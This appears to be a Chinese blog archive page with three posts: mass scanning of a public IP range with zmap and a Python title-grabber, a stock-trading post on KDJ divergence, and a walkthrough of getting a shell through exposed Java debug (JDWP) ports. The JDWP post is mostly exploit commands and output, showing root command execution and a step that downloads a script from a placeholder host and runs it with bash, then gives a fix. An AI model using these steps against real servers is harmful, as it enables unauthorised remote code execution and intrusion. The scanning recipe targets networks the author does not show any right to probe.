2017年6月

批量扫描网段并判断用途

使用zmap扫描开启80端口的ip:

zmap -p 80 -o results.csv 42.120.0.0/12

然后使用python脚本来扫描出results.csv的header,看主要做啥的

import urllib2,socket,re
seconds = 0.2
socket.setdefaulttimeout(seconds)
CBUscan = open("results.csv","r")
CBUscan_data = [line.strip() for line in CBUscan.readlines()]
CBUscan.close()
for line in CBUscan_data:
    try:
        content = urllib2.urlopen("http://" + line).read()
        p = re.findall("<title>(.*)</title>",content)
        if len(p) > 0:
            print line + "," + p[0]
        else:
            pass
            #print line + "," + content[:8]     
    except:
        pass
        #print line + "," + "cannot visited"

小规模用法

  • 看https://censys.io/ipv4?q=jenkins

互联网扫描器 ZMap 完全手册

初识 ZMap

ZMap被设计用来针对整个IPv4地址空间或其中的大部分实施综合扫描的工具。ZMap是研究者手中的利器,但在运行ZMap时,请注意,您很有可能正在以每秒140万个包的速度扫描整个IPv4地址空间 。我们建议用户即使在实施小范围扫描之前,也联系一下本地网络的管理员并参考我们列举的最佳扫描体验。

默认情况下,ZMap会对于指定端口实施尽可能大速率的TCP SYN扫描。较为保守的情况下,对10,000个随机的地址的80端口以10Mbps的速度扫描,如下所示:

$ zmap --bandwidth=10M --target-port=80 --max-targets=10000 --output-file=results.csv
或者更加简洁地写成:

$ zmap -B 10M -p 80 -n 10000 -o results.csv
ZMap也可用于扫描特定子网或CIDR地址块。例如,仅扫描10.0.0.0/8和192.168.0.0/16的80端口,运行指令如下:

zmap -p 80 -o results.csv 10.0.0.0/8 192.168.0.0/16
如果扫描进行的顺利,ZMap会每秒输出类似以下内容的状态更新:

0% (1h51m left); send: 28777 562 Kp/s (560 Kp/s avg); recv: 1192 248 p/s (231 p/s avg); hits: 0.04%
0% (1h51m left); send: 34320 554 Kp/s (559 Kp/s avg); recv: 1442 249 p/s (234 p/s avg); hits: 0.04%
0% (1h50m left); send: 39676 535 Kp/s (555 Kp/s avg); recv: 1663 220 p/s (232 p/s avg); hits: 0.04%
0% (1h50m left); send: 45372 570 Kp/s (557 Kp/s avg); recv: 1890 226 p/s (232 p/s avg); hits: 0.04%
这些更新信息提供了扫描的即时状态并表示成:

完成进度% (剩余时间); send: 发出包的数量 即时速率 (平均发送速率); recv: 接收包的数量 接收率 (平均接收率); hits: 命中率
如果您不知道您所在网络能支持的扫描速率,您可能要尝试不同的扫描速率和带宽限制直到扫描效果开始下降,借此找出当前网络能够支持的最快速度。

- 阅读剩余部分 -

如何看背离指标

有朋友说不会看顶背离及底背离的指标,我接下来列举两个例子,一个顶背离,一个底背离。

但我觉得指标这东西,都是用价格和成交量计算出来,其目的是反应出股票某一方面的状况,所以这些指标都是片面,或许用另外一句话说,你是庄你有钱,公司有消息,你想要怎样的指标都可以,为什么我说指标只能参考,真正对自己有用的是掌握庄家操盘手法,跟踪主力进出动向,才能最有效地战胜庄家,认庄为主,指标为辅。

列举一个顶背离KDJ图示:

image.png

如图所示,A同B相对立,C同D相对立,A同C是K线走势图,很明显C点高于A点,可以看出股价是上涨的,但KDJ指标数值未跟上,D点明显低于B点,股价上涨,指标数值未跟上,所以出现顶部背离现象。通常市场上认为顶部背离是卖出指标。我只能说是指标之一罢了,参考辅助就行。

列举一个底背离KDJ图示:

image.png

如图所示,A同B相对立,C同D相对立,A同C是K线走势图,很明显C点低于A点,可以看出股价是下跌的,但KDJ指标数值是在上涨,D点明显高于B点,股价下跌,指标数值上涨,所以出现底部背离现象。很多时候会出现2次甚至3次背离现象。

指标再多也只是一种辅助工具,庄家在吸货阶段利用人们的恐惧,用惨烈的下跌或者漫长横盘来击垮散户信心;洗盘阶段,反复激烈震荡,经常使用所谓的指标来赶走指标派;等待拉升阶段,赚钱欲望吸引了无数跟风追高者,最后庄家出货的时候,贪婪又可爱的80后(2015牛市不是证明了80后解套70后,那么80后就得等90后了)总以为股价还会涨的更高,谁也舍不得抛出手中的宝贝。

总结一句:多站在庄家角度去思考问题,不要一味想着要挣多少钱,别给金钱冲昏了脑,真正对自己有用的是要掌握庄家操盘手法,抓住主力进出动向,才能干过庄家。

jdwp的getshell

0x01. 判断是否存在jdwp命令执行漏洞

telnet端口后,输入命令JDWP-Handshake

如果返回JDWP-Handshake,证明存在漏洞。

并且,如果不快速输入,连接立马就会断掉。

➜  ~ telnet 1.2.3.4 8000 
Trying 1.2.3.4...
Connected to 1.2.3.4.
Escape character is '^]'.
JDWP-Handshake
JDWP-Handshake

常用java debug端口号: 5005, 8000, 8080, 8181, 8453, 8787, 8788, 9001

注意:如果正在用下面的exp打的时候,exp正处于断点的界面时,telnet会失败

0x02. exp

利用国外一个牛逼的 脚本 进行命令执行。使用方法如下:

usage: jdwp-shellifier.py [-h] -t IP [-p PORT] [--break-on JAVA_METHOD] [--cmd COMMAND]

当不加cmd参数时,会发现暂停如下,并且还可以观察到jdk的版本为 1.7.0_79

➜  jdwp_exp python jdwp-shellifier.py -t 1.2.3.4 -p 8000
[+] Targeting '1.2.3.4:8000'
[+] Reading settings for 'Java HotSpot(TM) 64-Bit Server VM - 1.7.0_79'
[+] Found Runtime class: id=1fd3
[+] Found Runtime.getRuntime(): id=7fa408018490
[+] Created break event id=2
[+] Waiting for an event on 'java.net.ServerSocket.accept'

此时,需要访问服务器的80和443,即web端口(一般直接用ip在浏览器中访问),才能触发脚本中的断点 (很重要)

访问后,命令已经成功执行,如下:

➜  jdwp_exp python jdwp-shellifier.py -t 1.2.3.4 -p 8000
[+] Targeting '1.2.3.4:8000'
[+] Reading settings for 'Java HotSpot(TM) 64-Bit Server VM - 1.7.0_79'
[+] Found Runtime class: id=1fd3
[+] Found Runtime.getRuntime(): id=7fa408018490
[+] Created break event id=2
[+] Waiting for an event on 'java.net.ServerSocket.accept'
[+] Received matching event from thread 0x2427
[+] Found Operating System 'Linux'
[+] Found User name 'root'
[+] Found ClassPath '/data1/tomcat/pop_ywxt/bin/bootstrap.jar:/data1/tomcat/pop_ywxt/bin/tomcat-juli.jar'
[+] Found User home directory '/root'
[!] Command successfully executed

--cmd参数执行命令后没有回显,所以最好反弹shell。

但是由于java的exec函数配合jdwp-shellifier这个exp脚本不能直接反弹shell。那么,

反弹shell姿势:

jdwp-shellifier.py -t 目标IP -p 端口 --cmd "wget http://x.x.x.x/x.txt -O /tmp/x.sh"
jdwp-shellifier.py -t 目标IP -p 端口 --cmd "bash /tmp/x.sh"

注意这个exp脚本对jdk版本支持不完全:

This exploit script was successfully tested against:

Oracle Java JDK 1.6 and 1.7

OpenJDK 1.6

IBM JDK 1.6

实例中,当遇到jdk 1.8版本的case,断点不能被触发。

0x03. 修复方案

关闭debug模式
当ps查看进程的时候

/root/jdk1.8.0_45/bin/java -Djava.util.logging.config.file=/root/apache-tomcat-7.0.42/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Xdebug -Xrunjdwp:transport=dt_socket,address=8000,server=y,suspend=n -Djava.endorsed.dirs=/root/apache-tomcat-7.0.42/endorsed -classpath /root/apache-tomcat-7.0.42/bin/bootstrap.jar:/root/apache-tomcat-7.0.42/bin/tomcat-juli.jar -Dcatalina.base=/root/apache-tomcat-7.0.42 -Dcatalina.home=/root/apache-tomcat-7.0.42 -Djava.io.tmpdir=/root/apache-tomcat-7.0.42/temp org.apache.catalina.startup.Bootstrap start
发现启动jdwp的参数是

-Xdebug -Xrunjdwp:transport=dt_socket,address=8000,server=y,suspend=n 

所以重启java服务,将上面的参数去掉就ok

或者用iptables关闭相应jdwp对外访问的端口

0x04. 参考链接

  • https://github.com/IOActive/jdwp-shellifier
  • http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html